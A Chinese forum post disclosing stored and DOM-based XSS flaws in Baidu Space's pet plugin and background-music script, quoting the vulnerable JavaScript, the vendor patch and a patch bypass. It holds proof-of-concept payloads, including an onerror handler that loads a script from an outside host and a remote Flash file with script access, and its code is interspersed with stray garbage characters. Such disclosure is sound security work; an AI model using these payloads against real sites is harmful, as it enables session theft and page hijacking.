找回密码
 立即注册
查看: 2805|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  - U/ ?6 n3 I% O* ?% r0 p; U. L

( g+ N9 b9 a! c5 W1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  ; {  k' A5 r8 H: i; Q& t
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  
; B% m# P$ g1 Y8 X0 H4 O7 j' Z8 ?3 Q7 b. s+ F; ~& ]' D' ]
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  ( D( D9 _2 B% e* V, p* k' X
其中BdUtil.insertWBR为  % p. M% R% ^$ q4 }
function(text, step) {  
/ |; ~9 B  w) L# [" p; [    var textarea = textAreaCache || getContainer();  
; O2 I5 j% A1 s% M( |/ y    if (!textarea) {  
7 n  o5 V8 y1 m0 ?  C) X$ s+ C: |        return text;  $ m, ^6 `! Z# e
    }  * [+ E( U: ?9 A* Q5 [
    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  & \! Z* a3 I0 P, S/ {; I
    var string = textarea.value;  
+ b( J* w$ h5 M; @+ o8 T    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");    ^. O( b  p7 ?7 ^5 f" D- E
    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  
) z0 g+ S8 ~: K5 p# Q7 ]    return result;  
" d% z: w' q" e* Q. K8 \7 L}  8 ]3 A# G0 D% }( d& ?$ ^; ?! t& n
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  , N$ M! u" {* x' d
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
9 H: Q5 ~7 l' I! M   : V0 ?( g, A/ F" m- t
二:creatbgmusic() Dom-Xss Bug  / D7 j, x* I9 ?2 j, [
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  - R7 _  p8 b" F4 U# _- ]. d
" V3 B6 x- n3 _, o. `' W
http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  1 @" |' B& C7 R; i8 j; B" M

# C1 ]8 @% N3 v2 Cfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  
+ R( q1 J, G; |& C- Q    //传入的murl赋值到bgmusic1和bgmusic2中  
" y3 r8 ^$ O; h) s4 Z& c+ M    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
, p0 c* C0 t# I, c/ v    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
7 Q* Y8 r/ N+ ~2 p6 M0 @    if (musicnum <= 1) {  
7 G) J, H0 R$ _        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  1 l) R) C* x# c9 F, |
    }  
4 X6 K/ a% N) S7 H- C8 i. F7 H    bgmusic1 += "</OBJECT>";  ( K" y" B. v7 k
    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  2 V8 l# b+ E! Y2 K7 F
    if (musicnum <= 1) {  
, f, z6 p5 y+ K9 k6 h. D2 J5 g, A  S- o        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  
7 S. D: h; L- ~3 n/ P. U: \    }  + G+ l' D* n( @$ P, Z
    bgmusic2 += "> </EMBED>";  
6 {5 w4 T1 f+ ]- l) R    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  
* P3 U- N) H: I    var bgmus = detectWMP();  
, L  _$ S/ @& c5 _  f    if (functype == "FckMusicHelper") {  - X# |1 |4 X( l8 Y# l
        if (bgmus.installed) {  " z0 S- e2 V( t; q# n" ^& |
            if (bgmus.type == "IE") {  ( Y* i+ a7 }$ D2 I, x+ E
                return bgmusic1;  3 P+ M, z" p. g
            } else if (bgmus.type == "NS") {  / ]) q6 Y; n6 {
                return bgmusic2;  
* ~$ z$ ?2 B/ k, Q& B( S$ M            }  * f& K% I2 O: S# c, |. x
        } else {  & p3 B$ V% j8 E; G/ b6 j
            return bgmusic3;  - s- _1 z; i# S+ K: j: Q7 K
        }  
* x* P8 s: g( X    } else {  4 [/ \* `. m3 o; T# {- j: z
        if (bgmus.installed) {  
7 I9 `( H/ S( _1 H0 E            //document.write 直接输出bgmusic变量 导致xss  6 |/ z7 D4 u  y
            if (bgmus.type == "IE") {  6 o' q/ ~& E- U$ W
                document.write(bgmusic1);  
& i3 K5 y9 i, R            } else if (bgmus.type == "NS") {  
7 h* z9 ?0 X1 K2 K+ N                document.write(bgmusic2);  8 x+ R9 h2 o: |' B1 Z& e6 {! ]2 n/ D1 k
            }  / ?9 r8 f. g4 y$ ~: B, \1 l
        } else {  & N! i* X" D. d% m
            document.write(bgmusic3);  5 ?% \* Q8 E6 I" I
        }  . U/ M( D! s5 a: v
        return "";  8 }- d* G" Z5 x
    }  3 `, T0 _% T$ T" v4 h/ e
}  ( W- B# f: v5 q
6 O: s8 j" |& K9 G4 @$ B
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  % D. J7 J; v7 m1 f2 b3 A
9 {! }3 F' U' O2 R0 s* Q) Y
function initBlogTextForFCK(){  , [/ e# A: ~: v0 n
//fck init music  7 u9 l1 ]! `, Z0 g
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  - S1 @; V2 Y# [, m2 w9 V) `9 I- d
var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  * T5 T. c! B1 B# r( n8 j3 g
var isAutoPlay=true;  
# z5 q5 ~" `1 N! `for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  5 ~: y' I" a1 s( ^/ \$ D! Z% ]
  var img=imgBox;  ! y: a3 {" q4 x5 U0 Q+ V9 [  v. Y
  if(img.getAttribute(’rel’)){        
% L% ^; L) _% i7 _( v9 ^8 b& A   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  8 I; F2 y3 f- M) r/ m/ ]6 c
   var musicDiv = document.createElement("SPAN");  . d( @' ]8 K5 V! H) a
   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  3 A6 y. ^! ?3 B# j& g
     
5 c6 E# k8 l7 V      ..........................  ) V& \" T4 `5 c& U/ X; m% q
     
0 C! s/ r4 \' K% z   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   4 F5 a/ {# ]+ |  z( H4 C3 ~7 `2 b% m
   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  9 f% B# C% x' j: ^' ^* a3 I
   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  
: J! V3 V  f+ O$ o   musicDiv.innerHTML=shtml;  
8 H) b9 }) v8 ]   i--;n--;  ; l; L9 p' A+ x* I8 C
  }  
0 Y# h4 C3 E5 m$ ?. I- Z}  
! a% K* J) ~, h) M7 E" _$ I$ E: |7 o0 a" a" i$ `+ a
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  " g" W3 T7 ~  p( m6 |& j% T
   / j2 _+ L, ^0 C( ~
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  
$ ~# j5 |- S# c  @  W7 z# V; @  l  m, v, m  C8 ]% l/ v
等待官方补丁  4 B, D. ~: x+ O  C
0 K( J6 m9 N0 p# w$ [, `. S
update 2010年5月13日   5 f' Z$ x6 d. W+ {( ~) p$ ^3 w% g: O! {

* Q  l" q" r6 o  r官方补丁:  4 ]' i! Y/ f, A4 i* U

# N: j/ m7 m$ A) pvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
. N& _. p  R! B改为:  0 A5 C& i; u# D, [: Q1 K4 f2 u
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  9 ]' e4 D) Y" ?: h

# `5 ^' T# W* A8 ^% C# a6 uupdate 2010年5月13日 21:50:37  
6 o8 C5 v% P! g" r8 W. o  ?; ?5 g
1 x& O8 j6 ^5 ?补丁存在漏洞 没有过滤" 可以继续跨:  ' c& A' b% Y. _1 c. p; j
3 i7 S: G+ Q4 M  M" r7 L) W
NEW POC:  
* c; H- P- |. F2 }5 ?
* _# Z) f- l6 o8 ]) Z7 n: N# z<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
, _2 y8 F( Q( A+ t2 U* \! O. O0 I0 S* V* F
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>/ C* L$ A# I) ~& t5 E  V

9 k% h" a( ]0 f2 k& Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表